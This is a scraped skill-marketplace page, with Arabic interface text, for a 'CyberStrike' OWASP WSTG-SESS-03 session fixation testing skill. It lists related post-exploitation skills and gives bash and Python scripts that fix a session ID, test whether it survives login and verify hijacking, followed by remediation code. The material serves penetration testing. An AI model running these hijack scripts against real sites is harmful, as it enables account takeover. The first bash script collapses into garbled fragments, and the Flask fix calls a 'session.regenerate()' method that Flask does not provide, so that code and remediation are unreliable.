القائمة
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
استنادا إلى تصنيف SOC المهني
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-sess-03يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
عرض SKILL.md
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
| name | wstg-sess-03 |
| description | Testing for Session Fixation |
| category | session-management |
| owasp_id | WSTG-SESS-03 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["session","cookies","csrf","token","wstg","sess"] |
| tech_stack | [] |
| cwe_ids | ["CWE-613"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-SESS-03
Testing for Session Fixation
Session fixation is an attack where the attacker sets a user's session ID to a known value. When the victim authenticates, the attacker can hijack their session using the pre-set session ID. This occurs when the application doesn't regenerate the session ID after authentication, allowing the attacker to maintain access with the original session token.
#!/bin/bash
# Test if session ID changes after authentication
TARGET="https://target.com"
# Get pre-auth session
echo "=== Getting pre-auth session ==="
pre_session=$(curl -s -c - "$TARGET/" | grep -oP "SESSIONID=\K[^;]+")
echo "Pre-auth session: $pre_session"
# Authenticate with the same session
echo -e "\n=== Authenticating ==="
post_response=$(curl -s -c - -b "SESSIONID=$pre_session" \
-X POST "$TARGET/login" \
-d "username=testuser&password=testpass")
post_session=$(echo "$post_response" | grep -oP "SESSIONID=\K[^;]+")
[ -z ];
post_session=$(curl -s -c - -b | \
grep -oP )
[ == ];
-e
-e
#!/bin/bash
# Test if application accepts session ID from URL
TARGET="https://target.com"
ATTACKER_SESSION="attacker_controlled_session_id"
# Try to set session via URL
urls=(
"$TARGET/?SESSIONID=$ATTACKER_SESSION"
"$TARGET/?jsessionid=$ATTACKER_SESSION"
"$TARGET/;jsessionid=$ATTACKER_SESSION"
"$TARGET/login?session_id=$ATTACKER_SESSION"
)
for url in "${urls[@]}"; do
response=$(curl -s -c - "$url")
cookies=$(echo "$response" | grep -i "sessionid\|jsessionid")
if echo "$cookies" | grep -q "$ATTACKER_SESSION"; then
echo "[VULN] Session accepted from URL: $url"
fi
done
#!/bin/bash
# Test cross-subdomain session fixation
MAIN_DOMAIN="target.com"
SUBDOMAIN="sub.target.com"
# Get session from subdomain
sub_session=$(curl -s -c - "https://$SUBDOMAIN/" | grep -oP "SESSIONID=\K[^;]+")
echo "Subdomain session: $sub_session"
# Check if session works on main domain
response=$(curl -s -b "SESSIONID=$sub_session" "https://$MAIN_DOMAIN/dashboard")
if echo "$response" | grep -qi "authenticated\|dashboard"; then
echo "[VULN] Cross-subdomain session sharing detected"
fi
#!/usr/bin/env python3
import requests
import time
class SessionFixationTester:
def __init__(self, base_url):
self.base_url = base_url
self.attacker_session = None
self.findings = []
def test_basic_fixation(self, login_endpoint, credentials):
"""Test basic session fixation vulnerability"""
print("[*] Testing basic session fixation...")
# Step 1: Attacker gets a session
attacker = requests.Session()
attacker.get(self.base_url)
# Get attacker's session ID
for cookie in attacker.cookies:
if 'session' in cookie.name.lower():
self.attacker_session = cookie.value
print(f"[*] Attacker session: {self.attacker_session[:20]}...")
break
if not self.attacker_session:
print("[!] No session cookie found")
return
# Step 2: Simulate victim using attacker's session
victim = requests.Session()
victim.cookies.set('SESSIONID', self.attacker_session)
# Step 3: Victim authenticates
login_response = victim.post(
f"{self.base_url}{login_endpoint}",
data=credentials
)
# Step 4: Get victim's post-auth session
victim_post_session = None
for cookie in victim.cookies:
if 'session' in cookie.name.lower():
victim_post_session = cookie.value
break
# Step 5: Check if session changed
if victim_post_session == self.attacker_session:
print("[VULN] Session fixation vulnerability!")
print(" Session ID not regenerated after login")
self.findings.append({
"type": "session_fixation",
"severity": "High",
"description": "Session ID unchanged after authentication"
})
# Step 6: Verify attacker can access victim's session
self._verify_session_hijack()
else:
print("[OK] Session regenerated after login")
print(f" New session: {victim_post_session[:20]}...")
return self.findings
def _verify_session_hijack(self):
"""Verify attacker can hijack the fixed session"""
print("[*] Verifying session hijacking...")
attacker_test = requests.Session()
attacker_test.cookies.set('SESSIONID', self.attacker_session)
response = attacker_test.get(f"{self.base_url}/dashboard")
if response.status_code == 200 and 'login' not in response.url.lower():
print("[VULN] Attacker can access authenticated session!")
self.findings.append({
"type": "session_hijack_verified",
"severity": "Critical",
"description": "Attacker successfully hijacked authenticated session"
})
else:
print("[INFO] Session hijack not verified")
def test_url_session(self):
"""Test session ID in URL"""
print("\n[*] Testing session ID in URL...")
test_session = "attacker_session_12345"
url_patterns = [
f"{self.base_url}/?SESSIONID={test_session}",
f"{self.base_url}/?jsessionid={test_session}",
f"{self.base_url}/;jsessionid={test_session}",
f"{self.base_url}/?PHPSESSID={test_session}",
]
for url in url_patterns:
try:
session = requests.Session()
response = session.get(url)
for cookie in session.cookies:
if test_session in cookie.value:
print(f"[VULN] Session accepted from URL: {url}")
self.findings.append({
"type": "url_session",
"severity": "High",
"url": url
})
break
except Exception as e:
pass
return self.findings
def test_privilege_escalation_fixation(self, escalation_endpoint):
"""Test session regeneration on privilege change"""
print("\n[*] Testing session on privilege change...")
session = requests.Session()
session.get(self.base_url)
pre_session = None
for cookie in session.cookies:
if 'session' in cookie.name.lower():
pre_session = cookie.value
break
# Trigger privilege change
session.post(f"{self.base_url}{escalation_endpoint}")
post_session = None
for cookie in session.cookies:
if 'session' in cookie.name.lower():
post_session = cookie.value
break
if pre_session == post_session:
print("[VULN] Session not regenerated on privilege change")
self.findings.append({
"type": "privilege_fixation",
"severity": "Medium",
"description": "Session unchanged after privilege change"
})
return self.findings
# Usage
tester = SessionFixationTester("https://target.com")
tester.test_basic_fixation("/login", {"username": "test", "password": "test"})
tester.test_url_session()
| Tool | Description | Usage |
|---|---|---|
| Burp Suite | Session analysis | Compare pre/post auth sessions |
| OWASP ZAP | Automated testing | Session fixation scanner |
| Browser DevTools | Cookie monitoring | Observe session changes |
from flask import session
import secrets
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
if authenticate(username, password):
# CRITICAL: Regenerate session ID after authentication
session.clear()
session.regenerate() # Or create new session
# Set authenticated user
session['user_id'] = user.id
session['authenticated'] = True
return redirect('/dashboard')
return render_template('login.html', error='Invalid credentials')
# Flask-Login example
from flask_login import login_user
@app.route('/login', methods=['POST'])
def login():
if authenticate(username, password):
# flask-login regenerates session by default
login_user(user)
return redirect('/dashboard')
app.post("/login", (req, res) => {
authenticate(req.body.username, req.body.password, (err, user) => {
if (user) {
// Regenerate session ID
req.session.regenerate((err) => {
if (err) {
return res.status(500).send("Session error")
}
req.session.userId = user.id
req.session.authenticated = true
res.redirect("/dashboard")
})
} else {
res.render("login", { error: "Invalid credentials" })
}
})
})
@PostMapping("/login")
public String login(HttpServletRequest request, @RequestParam String username,
@RequestParam String password) {
if (authenticate(username, password)) {
// Invalidate old session
HttpSession oldSession = request.getSession(false);
if (oldSession != null) {
oldSession.invalidate();
}
// Create new session
HttpSession newSession = request.getSession(true);
newSession.setAttribute("userId", user.getId());
newSession.setAttribute("authenticated", true);
return "redirect:/dashboard";
}
return "login";
}
| Finding | CVSS | Severity |
|---|---|---|
| Session fixation (no regeneration) | 8.8 | High |
| Session ID accepted from URL | 7.5 | High |
| Cross-subdomain fixation | 6.5 | Medium |
| CWE ID | Title |
|---|---|
| CWE-384 | Session Fixation |
| CWE-472 | External Control of Web Service Cookie |
[ ] Pre-auth session ID captured
[ ] Post-auth session ID compared
[ ] Session regeneration on login verified
[ ] URL-based session tested
[ ] Cross-subdomain fixation tested
[ ] Privilege change regeneration tested
[ ] Findings documented
[ ] Remediation recommendations provided